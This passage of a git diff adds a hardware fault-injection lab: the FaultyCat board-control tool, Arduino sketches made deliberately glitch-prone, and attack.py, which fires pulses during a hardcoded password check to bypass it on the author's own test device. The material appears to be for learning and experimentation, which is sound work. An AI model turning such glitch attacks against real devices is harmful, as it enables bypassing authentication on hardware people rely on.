COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = 